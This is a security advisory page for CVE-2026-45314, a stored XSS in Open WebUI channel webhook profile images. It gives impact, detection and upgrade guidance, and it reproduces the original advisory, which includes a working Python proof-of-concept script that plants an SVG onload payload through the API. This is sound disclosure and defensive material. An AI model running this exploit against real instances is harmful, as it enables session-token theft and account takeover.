CVE-2026-45314: Open WebUI has XSS via SVG in /api/v1/channels/webhooks/{webhook_id}/profile/image
Open WebUI 0.9.2 and earlier lets a low-privilege user store an SVG with script handlers as a channel webhook's profile image. The profile image endpoint serves it as image/svg+xml, so script runs in the app's origin when someone opens the URL. Upgrade to open-webui 0.9.3.
Published May 14, 2026 · Updated May 19, 2026 · Analysis Oct 27, 2026
What an attacker can do
When a channel webhook is created or updated, the server accepts any profile_image_url, including data:image/svg+xml;base64 values. GET /api/v1/channels/webhooks/{webhook_id}/profile/image then decodes the data URL, takes the media type from its header and returns a StreamingResponse with that type and Content-Disposition inline. No sanitization or conversion happens. A browser that opens the URL runs the SVG's event handlers, such as onload, in the application origin. The result is stored XSS, and it stays in the database until the webhook is removed.
The proof of concept used a low-privilege user who creates a group channel and a webhook, then prints the image URL. Any signed-in user who visits it runs the attacker's script. The channel feature must be enabled; it is a beta setting in the Admin Panel. The advisory says the script can take session tokens and API keys from localStorage, call same-origin APIs as the victim, and change settings. If an administrator opens the link, the result can be a full account takeover on the instance.
Who is affected
The pip package open-webui at 0.9.2 and earlier, on instances where Channels (Beta) is enabled and users can create webhooks. Check the version:
pip show open-webuiFor Docker, check the image tag. In the Admin Panel, check whether Channels is enabled.
open-webui
- Ecosystem
- PyPI
- Affected
- <= 0.9.2
- Fixed in
- 0.9.3
- Check
pip show open-webui
How to fix it
Upgrade to open-webui 0.9.3:
pip install --upgrade open-webuiThe v0.9.3 release is the one named in the advisory references. The sources give no workaround. Turning off Channels in the Admin Panel removes the entry point, but delete existing webhooks too, since a stored value stays active.
How to tell if you were hit
Query the channel webhook table for profile_image_url values that start with data:image/svg+xml, and decode them to check for script, onload or other event handlers. Look in access logs for GET requests to /api/v1/channels/webhooks/*/profile/image that return image/svg+xml, and note which users opened them. Check who created those webhooks. If an admin opened one, rotate admin tokens and API keys.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
As part of our research on improving our AI pentest, we have uncovered the following issue in Open WebUI. We've manually verified and tided up the report, but you can also find the original agent finding at the bottom of this report.
Summary
The channel webhook create/update flow accepts arbitrary profile_image_url values, including data:image/svg+xml;base64,... payloads. The profile image endpoint then decodes and serves this SVG as image/svg+xml without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser.
Details
The server accepts data:image/svg+xml;base64,... values for profile_image_url when creating or updating a webhook. Later, GET /api/v1/channels/webhooks/{webhook_id}/profile/image detects data:image, base64-decodes it, derives the media type from the header (e.g., image/svg+xml), and returns a StreamingResponse with Content-Disposition: inline and media_type set to image/svg+xml. There is no sanitization or transformation. When this URL is opened in a browser, SVG event handlers such as onload execute in the application origin, resulting in stored XSS.
PoC
- Set up a new instance of Open WebUI and log in as admin
- In the Admin Panel, enable *Channels (Beta)* and click Save
- Create a low-privilege user in the Users tab
- As the attacker, use the low-privilege user to run the following script:
import base64
import secrets
import requests
BASE_URL = "http://127.0.0.1:14000"
EMAIL = "[email protected]"
PASSWORD = "low"
CHANNEL_NAME_PREFIX = "xsswh-poc"
WEBHOOK_NAME = "xss-webhook-poc"
SVG_CANARY = '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(origin)"></svg>'
if __name__ == "__main__":
s = requests.Session()
s.headers.update({"Content-Type": "application/json"})
r = s.post(
f"{BASE_URL}/api/v1/auths/signin",
json={"email": EMAIL, "password": PASSWORD},
timeout=30,
)
r.raise_for_status()
s.headers["Authorization"] = f"Bearer {r.json()['token']}"
r = s.post(
f"{BASE_URL}/api/v1/channels/create",
json={
"name": f"{CHANNEL_NAME_PREFIX}-{secrets.token_hex(4)}",
"type": "group",
"user_ids": [],
"group_ids": [],
},
timeout=30,
)
r.raise_for_status()
channel_id = r.json()["id"]
payload = "data:image/svg+xml;base64," + base64.b64encode(SVG_CANARY.encode()).decode()
r = s.post(
f"{BASE_URL}/api/v1/channels/{channel_id}/webhooks/create",
json={"name": WEBHOOK_NAME, "profile_image_url": payload},
timeout=30,
)
r.raise_for_status()
webhook_id = r.json()["id"]
print(f"{BASE_URL}/api/v1/channels/webhooks/{webhook_id}/profile/image")This should print a URL like the following, which when visited (by any user), triggers a JavaScript popup proving XSS:
http://127.0.0.1:14000/api/v1/channels/webhooks/aa7c925f-4584-4274-82bf-33a7e98a3365/profile/image
Impact
Conditions required: The victim must be an authenticated, verified user. Channel feature must be enabled.
Stored XSS enables arbitrary JavaScript execution in the context of the application's origin for any viewer who loads the malicious profile image URL. An attacker can exfiltrate session tokens (localstorage) or API keys stored in the page context, perform unauthorized actions on behalf of the victim via same-origin APIs, alter settings, or pivot to broader account compromise. Because this vector is persisted in the database as part of a webhook's profile image, it remains active until removed.
Original Agent Report
Credited to Aikido-Security, JorianWoltjer, reindaelman, grumpinout1, Classic298.
Questions
- Who can plant the payload for CVE-2026-45314?
Any authenticated low-privilege user who can create a channel and webhook, when Channels (Beta) is enabled. The PoC used a plain user account.
- What does the victim have to do?
Open the webhook's profile image URL while signed in. The advisory says the victim must be an authenticated, verified user.
- Which version is fixed?
open-webui 0.9.3. Versions up to and including 0.9.2 are affected.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Open WebUI vulnerabilities
All Open WebUI entriesCVE-2026-87011
Open WebUI: Unauthenticated requests can stall the server via uncached OIDC fetches in back-channel logout
high7.5Sep 10, 2026CVE-2026-87012
Open WebUI: Any authenticated user can suppress calendar alerts instance-wide via a non-numeric alert value
medium4.3Sep 10, 2026CVE-2026-87013
Open WebUI: Any authenticated user can start a non-terminating request via a folder parent cycle
medium4.3Sep 10, 2026CVE-2026-87014
Open WebUI: Admin demoted through SSO role sync keeps read and write access to all users' notes
medium6.5Sep 10, 2026CVE-2026-87015
Open WebUI: A user's session cookies are sent to tool servers configured for bearer authentication
medium6.8Sep 10, 2026CVE-2026-87016
Open WebUI: Sign-in as another user via wildcard characters in the OAuth subject claim on SQLite
high8.1Sep 10, 2026
